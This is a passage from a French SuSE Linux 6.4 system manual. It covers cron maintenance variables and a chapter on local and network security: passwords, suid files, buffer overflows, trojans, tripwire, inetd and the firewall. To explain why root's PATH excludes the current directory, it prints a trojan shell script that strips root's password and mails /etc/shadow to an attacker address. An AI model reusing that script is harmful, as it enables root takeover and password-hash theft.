et ajouter ensuite come valeur l'extension local . ~ RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb Détermine à quel endroit cron.daily doit écrire les sauvegardes de la base de données RPM. Si vous ne désirez pas de sauvegarde, positionnez cette variable à "" . * * 461 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ~ MAX_RPMDB_BACKUPS=5 Détermine le nombre de sauvegardes de la base de données RPM. ~ DELETE_OLD_CORE=yes Les fichiers core sont des images de l'occupation mémoire de pro- grammes qui ont été stoppés en raison d'une violation de la protection de la mémoire. Ces images servent à la recherche des erreurs. Vous pouvez spécifier ici que d'éventuels vieux fichiers core doivent être régulièrement recherchés et automatiquement effacés. ~ MAX_DAYS_FOR_CORE=7 Détermine l'ancienneté maximale (en jours) que peuvent avoir les fichiers core avant d'être effacés automatiquement. ~ MAX_DAYS_FOR_LOG_FILES=365 Lorsqu'un fichier de traces (angl. logfile) (principalement sous /var/ log) a atteint une certaine taille, il est automatiquement compressé et archivé et root en est averti par courrier électronique. Avec ce paramètre, vous pouvez déterminer combien de temps de tels fichiers de sauvegarde doivent être conservés avant d'être automatiquement effacés. Si vous fixez la valeur à 0 , les fichiers ne seront ni comprimés ni archivés. Ils continue- ront alors à être écrits sans limite et pourront atteindre une taille considé- rable ! Vous pouvez, avec less , visualiser à tout moment vos fichiers de sauvegarde compressés. ~ MAX_DAYS_IN_TMP=30 Il est vérifié quotidiennement s'il existe dans les répertoires tmp des fi- chiers auquels on n'a pas accédé pendant une période plus longue que celle spécifiée (en jours). Si après la fin de cette période il n'y a plus eu aucun accès à un fichier de ce répertoire, il sera automatiquement effacé. ~ TMP_DIRS_TO_CLEAR="/tmp /var/tmp" Spécification des répertoires dans lesquels il sera automatiquement re- cherché tous les jours d'anciens fichiers. ~ OWNER_TO_KEEP_IN_TMP="root bs" Les fichiers des utilisateurs système spécifiés ici ne devront pas être ef- facés des répertoires tmp même s'il n'y a eu aucun accès pendant une période plus longue que celle spécifiée. ~ CWD_IN_ROOT_PATH=no Répertoire courant (angl. current working directory) dans le chemin de `root'. ~ ROOT_LOGIN_REMOTE=no Si le login pour `root' via telnet ou rlogin doit être autorisé, cette va- riable est à positionner à yes . Pour connaître les effets de cette variable au niveau de la sécurité, lisez la page 475. ~ SUSEWM_UPDATE=yes Détermine si SuSEconfig doit adapter, dépendamment des paquetages lo- giciels installés, les fichiers de configuration du système pour le gestion- naire de fenêtres. Il est possible d'apporter quelques retouches à l'aide des variables SUSEWM_WM , SUSEWM_MWM , SUSEWM_XPM , SUSEWM_ADD * * et SUSEWM_COMPAT . 462 Huitième partie Sécurité et autres astuces 463 Chapitre 18 La sécurité est une question de confiance 18.1 Principes de base Il n'est absolument plus possible aujourd'hui d'ignorer les menaces qui nous guettent sur l'Internet. Presque tous les jours, nous apprenons l'existence d'un nouveau danger pour notre ordinateur personnel ou notre réseau d'entreprise qui risquent d'être victimes d'attaques par Internet ou d'invasions de virus. Nous avons cependant la possibilité de parer à de telles menaces. Mais avant de décrire en détail les différents mécanismes de protection, il convient de préciser tout d'abord ce que l'on entend par sécurité (angl. secu- rity)1 et de définir les risques contre lesquels on souhaite se protéger. Les 6 points suivants montrent clairement que la sécurité constitue un objectif que tout utilisateur doit se fixer pour sa machine : 1. Protection des ressources 2. Accès aux informations 3. Disponibilité des données 4. Integrité des données 5. Confidentialité des données (juridiction concernant par exemple les cabi- nets médicaux ou les banques) 6. Vie privée La sécurisation de ces 6 points doit faire l'objet d'un concept bien élaboré. Il convient ici de tenir compte non seulement des dangers que représentent les intrusions mais aussi des dégâts que peut provoquer un matériel défectueux comme par exemple un disque dur qui se bloque ou des bandes de sauvegarde endommagées. Si des données de transactions doivent être traitées sur le système, les lois qui réglementent dans plusieurs pays la manipulation de données confiden- tielles et qui imposent, entre autre, à l'administrateur système, l'obligation de protéger le système contre des accès non autorisés, entrent ici en jeu2 . 1 ____________________________________________________ En américain usuel, on trouve très souvent le mot trust qui désigne plutôt le degré de confiance que l'utilisateur accorde à son système. 2 D'autres réglementations peuvent aussi s'appliquer, par exemple au sujet de données de tran- sactions qui doivent être disponibles pour un temps assez long à des fins de vérification. * * 465 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | L'élément essentiel d'un bon concept de sécurité est la création régulière * * |||| || de copies de sauvegarde que l'on doit contrôler afin de s'assurer qu'elles * * |||| | sont vraiment utilisables. * * |||| |_______________________________________________________________________________________________________* *________|||_ En résumé, votre système est exposé aux risques suivants : Utilisateurs qui travaillent directement sur les machines. Ils constituent le plus gros de tous les risques. Ils peuvent causer des dommages aussi bien par inadvertance que par malveillance. Communications par réseaux locaux ou étendus tels que l'Internet. D'une part ces communications peuvent être interceptées et d'autre part les ré- seaux offrent des possibilités d'attaques à distance sans aucune limite géo- graphique. Accès direct à la machine. Elle peut être volée ou sabotée par des cambrio- leurs ou autres personnes malveillantes. Catastrophes naturelles auxquelles les ordinateurs sont très vulnérables. Composants matériels et logiciels pouvant être défectueux en raison d'une mauvaise conception ou d'anomalies concrètes. Non seulement de tels composants constituent un risque potentiel pour vos données mais ils peuvent aussi faciliter une compromission ou rendre un service complet inutilisable (voir aussi paragraphe 18.1.2 page 471). Supports de données tels que disquettes, bandes ou disques durs qui peuvent être volés, perdus ou endommagés. Radiations électromagnétiques émises par tout ordinateur, moniteur et câble réseau. Les informations qu'elles contiennent peuvent être captées à l'aide de dispositifs adéquats et être exploitées. Ces radiations sont transmises au travers de canalisations ou de câbles électriques. Contrai- rement à ce que l'on pense habituellement, les moniteurs LCD émettent aussi des radiations. Nous allons nous pencher de plus près sur les deux premiers points car c'est surtout dans ces domaines qu'une mise en oeuvre adéquate de SuSE Linux permet d'éliminer la majeure partie des risques potentiels. L'utilisateur privé de SuSE Linux sera sûrement moins intéressé par les autres points mais les personnes concernées par la mise en place d'un réseau d'entreprise devraient les prendre en considération. Nous vous présenterons, au paragraphe 18.1.1 et au paragraphe 18.1.2 page 470, les différentes formes d'attaques dont vous pourriez être vic- time avant de vous présenter au paragraphe 18.2 page 471 les différents outils que SuSE Linux 6.4 met à votre disposition pour vous permettre d'y parer. Nous terminerons par quelques informations générales dont vous devriez absolument tenir compte. 18.1.1 Sécurité locale Charité bien ordonnée : : : Commençons d'abord par penser à la sécurité de notre propre machine dans le réseau local. Même si votre machine n'est pas 466 ________________________________________________________________________________________________18.1.__Principes_de_base____* *______________________ connectée à un réseau ou ne l'est que de façon occasionnelle, quelques me- sures de prudence ne peuvent pas nuire. L'effacement de votre disque dur au cours d'une joyeuse surprise-partie peut vous réserver des surprises beaucoup moins joyeuses si vous constatez le lendemain que vous avez perdu la thèse que vous veniez tout juste de terminer. Mot de passe Linux qui est un système multiutilisateur ne se contente pas d'un seul mode de gestion des utilisateurs. Il dispose d'un mécanisme complet d'authentification par mots de passe. Même si cela peut sembler incommode et même superflu, vous devriez attribuer à chaque utilisateur de votre système un mot de passe bien choisi3 . Cette simple mesure protège votre système contre les intrusions malveillantes et le met à l'abri des manipulations maladroites. L'utilisateur `root' est la cible de prédilection des attaques et son mot de passe devrait par conséquent être choisi avec le plus grand soin. Mais les meilleurs mots de passe ne servent à rien si un intrus a directement accès à une machine et peut l'amorcer. Il est en effet possible, avec une dis- quette d'amorçage, d'avoir accès au système installé. Pour cette raison, vous devriez désactiver les lecteurs de disquettes comme périphériques amorçables dans la configuration de votre BIOS. _______________________________________________________________________________________________________________________|| |||||||| Afin que cet obstable ne puisse pas être contourné, vous devriez par la ||| | |||||||| même occasion définir un mot de passe pour le BIOS. Mais vous devez || | |||||||| || | |||||||| absolument vous souvenir de ce mot de passe car si vous l'oubliez il vous || | |||||||| sera alors impossible d'accéder à votre propre BIOS ! ~ à moins que le || | |||||||| || | |||||||| BIOS ne soit remis à zéro pour faire disparaître le mot de passe. || | ||||||||_______________________________________________________________________________________________________________||_ Si vous utilisez LILO (voir page 129), vous devriez insérer dans le fi- chier /etc/lilo.conf l'option restricted ainsi qu'un mot de passe (par exemple password=mot_de_passe_sûr ) et activer cette option au moyen de lilo . Faute de quoi il est parfaitement possible à toute personne se trou- vant directement devant la machine de compromettre le système. Le mot de passe doit évidemment être sûr et le fichier /etc/lilo.conf ne doit être lisible que par l'utilisateur `root' Le paquetage john de la série sec (logiciels relatifs à la sécurité du système) contient un programme permettant de deviner les mots de passe. L'adminis- trateur avisé peut l'utiliser afin de faire reconnaître automatiquement les mots de passe peu fiables et recommander aux utilisateurs l'emploi de mots de passe sûrs. Droits d'accès Afin de diminuer le risque de dommages que les différents utilisateurs pour- raient causer avec ou sans intention, chacun d'entre eux devrait travailler avec des permissions minimales. Il n'est pas nécessaire de travailler constamment 3 ____________________________________________________ Le choix d'un bon mot de passe a déjà fait l'objet d'articles souvent très longs. Au para- graphe 18.4 page 480, vous trouverez quelques informations pratiques à ce sujet. * * 467 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ sous le compte `root' et le mot de passe ne devrait être connu que de l'ad- ministrateur. Dépassement de buffer et autres attaques La méthode la plus populaire d'usurper les droits `root' sur une machine consiste à provoquer ce que l'on appelle un dépassement de buffer (angl. buf- fer overflow)4 Ces ``exploits'' ont pour but de saturer les champs statiques dans la pile utilisateur d'un programme, par exemple lors d'une entrée de texte, et d'écraser par d'autres valeurs les variables de cette pile. La conséquence en est que l'on ne peut plus exécuter de code comme par exemple démarrage d'un shell. Ceci concerne essentiellement les programmes avec des dimen- sions de tableaux statiques pour les entrées de valeurs et sans contrôle de débordement de buffer. Les seuls programmes vulnérables à cette forme d'attaque sont ceux dont le bit suid ou sgid est positionné, en d'autres termes les programmes qui sont lancés avec les droits du propriétaire et non pas avec ceux de l'utilisateur. Ces programmes sont habituellement suid-root car ils exécutent des tâches (comme par exemple passwd ) pour lesquelles un utilisateur normal n'a pas de permission. Le but de notre distribution est par conséquent de limiter le nombre de ces programmes et de les sécuriser contre de telles attaques. Outre ces programmes, les services système sous forme de démons sont également vulnérables à ce genre d'attaque. Vous devriez par ailleurs vous tenir informé et procéder à une mise à jour ou appliquer immédiatement des patches dès que vous avez connaissance de tels exploits. Un autre danger pour les programmes privilégiés et services en cours est ce que l'on appelle les ``attaques aux liens symboliques'' (angl. link attacks). Un fonctionnement peu sûr des programmes dans des répertoires en libre accès peut permettre de diriger les données vers des fichiers totalement différents et de compromettre ainsi le système ou de provoquer un plantage. Pour réduire le nombre de fichiers suid et sgid dans le système SuSE Linux, il est possible avec YaST de positionner les droits des fichiers à secure ou paranoid sous `Administration du système' et `Configuration sécurité du système' dans la fenêtre de sélection `Les droits sur les fichiers sont positionnés à :'. Vous pouvez ensuite vérifier dans les fichiers /etc/permissions.secure et /etc/permissions. paranoid quels droits ont été ainsi positionnés. Avant d'utiliser paranoid , vous devriez toutefois vous assurer que la fonctionnalité du système n'est pas trop limitée pour vos propres besoins. En raison de sa complexité et de la croissance de son code, le système X Window (XFree86) s'est très souvent révélé vulnérable. Ce pro- blème a toutefois perdu de son acuité sous SuSE Linux du fait que les serveurs et les bibliothèques ne sont plus suid-root. Mais il peut malgré tout, dans certaines circonstances, subsister quelques failles dans la com- munication entre client et serveur. Il est par exemple possible d'intercepter des entrées clavier et de lire le contenu de fenêtres. Pour vous assurer un _____________________________________________4 Méthode connue aussi sous le nom de ``stack smashing'' (écrasement de pile). 468 ________________________________________________________________________________________________18.1.__Principes_de_base____* *______________________ bon niveau de sécurité, observez la règle 3, utilisez Xauthority (par la com- mande xauth ) et abstenez-vous d'utiliser xhost + . Pour lancer à distance des programmes X, vous devriez si possible utiliser le paquetage ssh de la série sec (logiciels relatifs à la sécurité du système) (+ Encryptage). Si vous voulez en faire un usage commercial, observez les termes de la licence (/usr/doc/packages/ssh/COPYING). ssh est également dispo- nible pour les autres plates-formes les plus courantes. La fonctionnalité ``X11-Forwarding'' comporte cependant des risques qui lui sont propres et il vous est fortement recommandé d'envisager d'y renoncer complètement. _______________________________________________________________________________________________________________________ |||||||| Le système X Window ne devrait d'ailleurs pas être installé sur des ser- || | |||||||| || | |||||||| veurs critiques, ne serait-ce que pour des raisons de performance. || | ||||||||_______________________________________________________________________________________________________________||_ Virus et chevaux de Troie Il y a encore peu de temps, des virus de toutes sortes faisaient des ravages et leur rayon d'action ne se limitait pas à quelques PC car les disquettes servant à la diffusion et à l'échange de logiciels constituent un véritable bouillon de culture pour ce genre de programmes. Fort heureusement, on ne connaît pour Linux que 2 virus. Comme on ne distribue pratiquement pas de logiciels au format binaire pour Linux et que SuSE Linux peut être considéré comme exempt de virus, vous ne courez aucun risque d'infection si vous observez la règle 1, page 480. Il n'en est toutefois pas de même pour les virus macro qui continuent à se propager et qui, nichés dans des documents de traitement de texte, sont trans- mis par E-mail. Le logiciel bureautique le plus courant n'étant pas disponible sous Linux, ces virus macro se trouvent dans un environnement ``stérile'' sur SuSE Linux. Le rôle ``d'agent de transport de mail'' que SuSE Linux joue de plus en plus fréquemment sur les serveurs de messagerie donne l'occasion de scanner le courrier entrant et sortant pour y découvrir d'éventuels virus. Les ``chevaux de Troie'' constituent un problème différent . Ces programmes cherchent à se faire passer pour autre chose que ce qu'ils sont afin de camou- fler leur véritable activité. Derrière une invite de login, il peut se cacher un cheval de Troie qui rassemble dans un fichier ou transmet par E-mail les mots de passe qu'il a escroqués. Ceci peut ne pas sembler trop grave au premier abord mais dès qu'il s'agit de numéros de cartes de crédit ou d'identification de comptes courants les choses deviennent plus sérieuses. Le risque de télé- charger un cheval de Troie depuis Internet ou de le voir s'infiltrer par courrier électronique est relativement minime. Mais la technique consistant à laisser quelques Troyens sur un système déjà compromis afin de s'en assurer l'accès à tout moment constitue une pratique répandue. La présence de chevaux de Troie peut donc être considérée comme un signe révélateur plutôt sûr de la compromission d'un système. Il n'existe pas de protection absolue contre les virus et les chevaux de Troie. On peut toutefois limiter les risques en utilisant un bon scanner de virus ainsi qu'en manipulant les disquettes et les programmes externes avec la plus grande prudence et en observant les règles énumérées au paragraphe 18.4 page 480. Certains programmes tels que tripwire , paquetage tripwire, série * * 469 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ sec (Logiciels relatifs à la sécurité du système), voir page 472 apportent aussi une aide précieuse lorsqu'il s'agit de détecter des chevaux de Troie. 18.1.2 Sécurité réseau Il n'existe plus guère aujourd'hui de machines complètement isolées. En rai- son des excellentes capacités réseau de Linux, de nombreuses machines fonc- tionnent dans un LAN, sont connectées par modem ou ISND à Internet ou servent de passerelles pour des sous-réseaux. Ceci expose ces machines à toutes sortes d'attaques par réseau. Par l'installation et la configuration d'un pare-feu (angl. firewall), vous pou- vez vous prémunir contre la plupart des tentatives d'attaque. Les ports ouverts restent bien sûr vulnérables mais vous pouvez réduire considérablement le risque par la mise en oeuvre d'autres outils adéquats. Le risque d'être la cible d'une attaque pendant les 30 minutes que vous passez à lire votre courrier électronique peut être considéré comme minime. Mais les systèmes connectés en permanence devraient absolument être protégés. Nous allons vous présenter ici les formes d'attaques les plus courantes Attaque de l'homme au milieu Les ``attaques de l'homme au milieu'' (angl. Man in the middle attacks) concernent le trafic routé par une ou plusieurs machines entre différents ré- seaux. L'attaquant prend le contrôle de l'un des routeurs et peut intercepter des paquets IP, les rediriger ou les échanger. Comme à l'heure actuelle les pa- quets IP ne sont pas authentifiés, cette forme d'attaque est relativement facile. Le prochain standard IPv6 nous promet une amélioration. La seule manière de parer à ce genre d'attaques dont on peut être victime en échangeant du courrier électonique ou lors de l'accès à un serveur WWW est l'adoption d'un puissant système de d'+ encryptage. telnet et rsh font apparaître les messages, y compris les mots de passe, en texte clair. C'est ceci qui rend le plus fréquemment un système vulnérable aux attaques extérieures et il est judicieux d'utiliser à la place ssh . Pour la signature du courrier électronique, il est recommandé d'utiliser pgp . Le pro- tocole SSL permet l'+ encryptage de pages HTTP. La qualité de l'encryptage est toutefois étroitement liée à la sécurité de transmission des clés. Il convient donc de faire preuve ici de la plus grande prudence ! Le paquetage modssl de la série n (Réseau) contient le module SSL pour le serveur HTTP paquetage apache. Dépassement de buffer, 2ème partie Après le ``sniffing'' qui est la lecture passive de données (par exemple login et mot de passe), les dépassements de buffer (angl. buffer overflows) constituent la méthode la plus fréquemment employée pour compromettre un système de l'extérieur. Ici, tout service accessible de l'extérieur (par exemple messagerie, serveur Web, POP3, etc.) représente un risque potentiel pour la sécurité du système. Tout service indispensable qui ne peut pas être désactivé devrait être 470 _________________________________________________________________________________________________________________18.2.__Outi* *ls____________________ accessible, si possible à travers un filtrage Firewall configuré dans le noyau Linux (au moyen de ipchains ), uniquement à partir de systèmes déterminés. Et si cela n'est pas non plus possible, vous devriez essayer de remplacer le service par une version particulièrement sûre (par exemple le paquetage postfix au lieu du paquetage sendmail). Les experts peuvent en outre faire fonctionner chaque service un environnement chroot spécifique. Attaque par déni de service Une attaque par déni de service (angl. denial of service) a pour but de mettre un service réseau hors fonction par un encombrement provoqué intentionnel- lement. Dans certains cas, ce n'est pas seulement le service en question qui est touché mais aussi la machine elle-même qui n'est alors plus accessible. Cette forme d'attaque est très souvent utilisée pour désactiver un serveur de noms et faire assumer ses fonctions par une autre machine. Les paquets réseau peuvent alors être acheminés vers une autre direction. Le déni de service est très souvent combiné à l'IP spoofing dans le but de masquer l'origine de l'at- taque (voir présente page). Pour cette raison, on n'obtient en général aucun résultat en faisant des recherches et la seule solution est de mieux sécuriser son système. Dès qu'une attaque par déni de service ayant provoqué le blocage complet d'une machine est connue, un patch est mis à disposition dans les quelques heures qui suivent. SuSE Linux est paré contre les attaques par déni de service connues au moment de l'élaboration de la version actuelle. Mais l'adminis- trateur responsable d'un système devrait toutefois se tenir continuellement informé. IP Spoofing L'``IP Spoofing'' est une technique qui tire parti d'une lacune de sécurité dans le protocole TCP/IP. L'adresse de l'expéditeur d'un paquet TCP/IP n'est pas contrôlée et peut être modifiée ce qui permet à l'attaquant de camoufler son origine. Il est tout d'abord essentiel que vous configuriez votre propre routeur de telle manière que seuls les paquets ayant une adresse d'origine externe puissent passer dans le réseau interne et que seuls les paquets ayant une adresse interne soient routés vers le réseau externe. 18.2 Outils Nous allons maintenant vous présenter les outils qui vous permettent de contrôler votre système et de rechercher des failles éventuelles. Mais il convient de préciser ici que les dangers potentiels auxquels une machine est exposée doivent toujours être évalués de façon individuelle. Les mesures de contrôle et de protection à prendre pour une machine qui se trouve dans un réseau protégé par un pare-feu seront moins sévères que celles qui s'imposent pour une machine connectée à un réseau sans aucune protection. * * 471 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ 18.2.1 Outils locaux L'avantage incontestable de Linux par rapport à d'autres systèmes d'exploi- tation est d'une part sa stabilité et d'autre part sa fonction multiutilisateur. Mais ce dernier point comporte aussi des risques que l'on aurait tort de sous- estimer. Il existe, en plus des permissions bien connues, des paramètres pou- vant être exploités par des utilisateurs (ou attaquants) expérimentés. Nous par- lons ici du fameux bit suid. Un programme qui a ce bit positionné obtient au- tomatiquement les droits de l'utilisateur auquel il appartient. Si ce programme appartient au super-utilisateur (root), il a dans le système les droits du super- utilisateur même s'il est lancé par n'importe quel autre utilisateur. Cela paraît plutôt dangereux mais certaines fonctionnalités le requièrent. Le programme ping , par exemple, doit être exécuté avec les droits du super-utilisateur. Cela signifierait normalement que seul l'utilisateur `root' est autorisé à l'exécu- ter. Pour éviter qu'il en soit ainsi, on positionne le bit suid. tux@terre:/home/tux > ls -l /bin/ping ________________________________________________________________________________________________________* *________ |-rwsr-xr-x 1 root root 13216 Mar 17 16:36 /bin/ping * * | | * * | |_______________________________________________________________________________________________________* *________ | Si vous voulez savoir quels programmes dans votre système ont le bit suid positionné et appartiennent à l'utilisateur `root', tapez tout simplement tux@terre:/home/tux > find / -uid 0 -perm +4000 Ceci vous permet de détecter les programmes ``suspects''. Sous SuSE Linux, vous pouvez, dans le menu de YaST `Administration du système' et `Configuration sécurité du système', sélection- ner l'option secure dans la fenêtre `Les droits sur les fichiers sont positionnés à :'. Vous pourrez ensuite vérifier dans le fichier /etc/permissions.secure quels droits ont été définis. Pratiquement personne ne dispose du temps nécessaire pour vérifier constam- ment sa machine à l'aide de commandes subtiles. Mais il existe heureusement des outils qui nous facilitent la tâche. Nous allons maintenant décrire briè- vement l'un de ces outils que nous jugeons opportun de mentionner car il est recommandé par le CERT5 . Il s'agit du programme tripwire , paquetage tripwire, série sec (logiciels relatifs à la sécurité du système). Tripwire Le fonctionnement de ce programme est en principe plutôt simple. Il fait des recherches dans le système et stocke les informations dans une base de données. Vous pouvez préciser, à l'aide d'un fichier de configuration, quels fichiers et répertoires doivent être contrôlés et quelles informations doivent être vérifiées. Tripwire ne recherche ni les fichiers infectés ni les erreurs dans le système. Il crée simplement une base de données pour un système qu'il suppose être ``sain''. Pour cette raison, la base de données devrait être créée immédiatement _____________________________________________5 CERT = Computer Emergency Response Team, voir http://www.cert.dfn.de/dfncert/ info.html. 472 _________________________________________________________________________________________________________________18.2.__Outi* *ls____________________ après l'installation d'un système, de préférence avant que la machine ne soit connectée au réseau. Une base de données est créée à l'aide de la commande suivante : root@terre:root > /var/adm/tripwire/bin/tripwire -init Le tableau 18.1 indique les chemins d'accès à la base de données et au fichier de configuration qui ont été compilés dans le paquetage tripwire de SuSE Linux. _______________________________________________________________________________________________________________________ /var/adm/tripwire Base de données et fichier de configuration databases Ce fichier est créé automatiquement. Il sert à abriter temporairement les bases de don- nées nouvellement créées. Elles doivent en- suite être copiées manuellement à l'empla- cement qui convient. /var/adm/tripwire/ Fichier de configuration tw.config /var/adm/tripwire/db Emplacement de la base de données _______________________________________________________________________________________________________________________ Tab. 18.1: Chemins d'accès compilés pour Tripwire Les chemins d'accès ont été choisis en tenant compte du fait que seul le super- utilisateur est autorisé à lire son répertoire personnel /root. Pour bien faire, la base de données devrait se trouver sur un système de fichiers auquel on ne peut accéder qu'en lecture seule, par exemple une disquette protégée contre l'écriture, afin qu'un attaquant parvenu à accéder au système ne puisse pas camoufler ses manipulations en modifiant la base de données. Vous trouverez un exemple de configuration pour Tripwire sous /usr/doc/ packages/tripwire/tw.conf.example.linux. Vous pourrez obtenir des informations sur la syntaxe et les caractéristiques de ce fichier de configu- ration dans la page de man relative à tw.config. Pour les différents fi- chiers, vous pouvez employer différentes méthodes d'obtention de la somme de contrôle. Vous pouvez en outre préciser quelles informations d'un fichier ou d'un répertoire devront être stockées. Après avoir créé votre fichier de configuration individuel, vous pouvez faire tourner tripwire régulièrement, par exemple sous forme d'un job cron. Outils de sécurité SuSE SuSE Linux dispose maintenant de quatre programmes de sécurité qui lui sont propres et qui vous aident d'une part à rendre votre système plus sûr et d'autre part à le contrôler : Le paquetage firewals, série sec (Logiciels relatifs à la sécurité du système) contient le script /usr/sbin/SuSEfirewall qui lit le fichier de configuration /etc/rc.firewall et génère ensuite des listes de restrictives de filtres au moyen de ipchains . Vous trouverez plus de détails au paragraphe 18.2.2 page 475 concernant les outils réseau. Le paquetage secchk, série sec (logiciels relatifs à la sécurité du système) contient deux petits scripts qui effectuent des contrôles de sécurité du système * * 473 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ à un rythme quotidien, hebdomadaire et mensuel (par exemple cohérence du fichier de mots de passe, données utilisateurs, possibilité de casser les mots de passe, modules en fonctionnement) et avertissent l'administrateur système lors de modifications. Le paquetage hardsuse, série sec (logiciels relatifs à la sécurité du système) contient le script Perl /usr/sbin/harden`suse développé pour fournir aux ad- ministrateurs un programme simple à utiliser leur permettant d'accroître la sécurité de leur système. Après le démarrage, il vous sera posé neuf questions auxquelles vous devrez répondre par oui ou par non (par exemple désactiva- tion de tous les services, accroissement de la sécurité utilisateurs ou réduction du nombre des fichiers suid et sgid). Votre système sera alors reconfiguré en fonction de vos réponses. Dans /etc/harden_suse.log, vous trouverez un fichier de trace contenant les modifications et il sera en outre crée des copies de sauvegarde des fichiers modifiés. Si votre système devait ensuite se com- porter d'une manière imprévue, faites annuler ces modifications au moyen de /etc/undo`harden`suse . Le paquetage scslog, série sec (logiciels relatifs à la sécurité du système) contient un module du noyau qui après son chargement (que vous pouvez automatiser par une entrée par exemple dans les fichiers Startup) enregistre toutes les communications réseau entrantes et sortantes. Le paquetage secumod, série sec (logiciels relatifs à la sécurité du système) contient un autre module qui évite ou rend plus difficiles les attaques dont votre système pourrait être la cible. Ceci inclut la protection contre les at- taques visant les liens symboliques, les liens physiques et les pipes, les pro- cessus dont la trace des appels système ne peut plus être affichée (par strace ) et d'autres choses encore. Comme ce paquetage est très récent et que sa do- cumentation n'était pas encore complète au moment de la mise sous presse du présent manuel, nous vous demandons de bien vouloir jeter un coup d'oeil sur la documentation aujourd'hui disponible. D'autres outils sont déjà en préparation. Surfer parmi les fichiers de trace Les fichiers dans lesquels le système et les différents programmes écrivent des données constituent une excellente source d'information. Il est question ici des fichiers de trace ou fichiers log. Il est conseillé de lire régulièrement au moins l'un d'entre eux, à savoir /var/log/messages. Sous SuSE Linux, c'est dans ce fichier que les programmes écrivent la plus grande partie des informations. Mais on n'a pas toujours le temps ni la motivation nécessaires pour fouiner dans des fichiers dont la taille augmente continuellement. Il existe heureuse- ment des programmes qui se chargent d'une bonne partie de ce travail ingrat. L'un d'entre eux est logsurfer . Piloté au moyen d'un fichier de configuration, logsurfer assure un contrôle continu des fichiers de trace. On peut définir les actions qui doivent succéder à certains messages, comme par exemple l'envoi d'un mail ou le lancement d'un programme externe. 474 _________________________________________________________________________________________________________________18.2.__Outi* *ls____________________ Vous trouverez des exemples dans une très bonne page de man de logsurfer.conf (man 4 logsurfer.conf ). La variable PATH et l'utilisateur `root' : : : Vous avez certainement remarqué, en travaillant sous SuSE Linux en tant qu'utilisateur `root', que le répertoire courant n'est pas dans le chemin d'accès. C'est la raison pour laquelle vous devez toujours faire précéder le nom du programme à exécuter d'un point suivi d'une barre oblique (./). L'exemple suivant montre clairement pourquoi SuSE Linux est configuré de cette manière : ~ Un utilisateur qui travaille sur votre système crée le script de shell que vous voyez dans le fichier 18.2.1. _______________________________________________________________________________________________________________________|| ||||||||#!/bin/sh | |||||||| | |||||||| | ||||||||cp /etc/shadow /etc/shadow.system | ||||||||cat /etc/shadow.system | \ | |||||||| sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow | |||||||| | ||||||||# rm -f /etc/shadow.system | ||||||||mailx hacker@hackit.org -s "Root Account hacked" < /etc/shadow | |||||||| | ||||||||/bin/ls $* | |||||||| | ||||||||_______________________________________________________________________________________________________________ | fichier 18.2.1: Script de shell pour piratage du compte root ~ Il déplace ce script vers /tmp/ls. ~ Si `root' change maintenant de répertoire (commande cd) et s'il a inséré le répertoire courant ~ dans ce cas /tmp ~ devant /bin dans la variable PATH, le script en question sera exécuté à la place de /bin/ls. Ceci entraînera la suppression du mot de passe root et l'utilisateur recevra un message lui faisant savoir qu'il a maintenant un compte root sans mot de passe sur votre machine. Ce n'est vraiment pas une perspective bien plaisante ;-) Si le répertoire courant ne s'était pas trouvé dans le chemin d'accès, il vous aurait fallu entrer ./ls pour exécuter le script. Il est à noter qu'il s'agit ici d'un ``cheval de Troie'' (voir page 469). 18.2.2 Outils réseau Il est sans aucun doute judicieux et même impératif de contrôler une machine en réseau. Nous allons maintenant exposer ce qu'il faut faire pour protéger une machine Linux contre des attaques venant du réseau. inetd La mesure de sécurité la plus élémentaire consiste à faire preuve de pru- dence en activant les services (ports) mis à disposition par inetd (le ``super serveur'' Internet ). Sous SuSE Linux, quelques uns des services ``dangereux'' sont désactivés par défaut. Il s'agit ici des ``internal services'' du démon inetd . * * 475 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ Le fichier de configuration se trouve sous /etc/inetd.conf. Mais les autres services doivent aussi être activés ou désactivés avec prudence. Nous vous re- commandons vivement de jeter un coup d'oeil dans le fichier de configuration car POP3, par exemple, ainsi que d'autres services sont activés par défaut ! Le fichier 18.2.2 montre une liste des services qui devraient être suffisants dans la majeure partie des cas. ________________________________________________________________________________________________________* *________|| |ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -a * * | |telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd * * | |shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L * * | |login stream tcp nowait root /usr/sbin/tcpd in.rlogind * * | | * * | |finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -w * * | |ident stream tcp wait nobody /usr/sbin/in.identd in.identd \ * * | | -w -e -t120 * * | | * * | |_______________________________________________________________________________________________________* *________ | fichier 18.2.2: Exemple typique de configuration pour inetd Vous devriez toutefois vous demander si vous avez vraiment besoin de ser- vices tels que telnet , shell et login . Ces services présentent en effet l'incon- vénient de permettre à un attaquant de lire la totalité de vos données y compris votre mot de passe. Il n'est même pas nécessaire pour cela de posséder des connaissances très poussées car il existe des programmes qui se chargent de ce travail. Vous devriez donc veiller tout particulièrement à ce qu'il ne soit pas possible d'accéder à distance à votre machine sous le compte `root'. Pour cette raison, nous attirons encore une fois votre attention sur le ``Secure Shell'' (paquetage ssh) Si vous utilisez ssh , la totalité du message transmis sera encryptée, y compris le mot de passe (+ Encryptage). Le Firewall SuSE ________________________________________________________________________________________________________* *________ | Notre service d'Assistance Technique à l'Installation ne peut pas répondre * * ||| | * * ||| | aux questions concernant le filtre de paquets Firewall SuSE . * * ||| |_______________________________________________________________________________________________________* *________|||_ Le filtre de paquets Firewall SuSE (paquetage firewals, série sec (logiciels relatifs à la sécurité du système)) est activé et configuré au moyen du fichier /etc/rc.firewall. Les différentes entrées sont documentées et commen- tées dans le fichier. Afin de vous permettre un bon début même si vous avez encore peu d'expérience, nous allons expliciter certains détails fondamentaux concernant la mise en oeuvre du filtre de paquets Firewall SuSE . La famille de protocoles 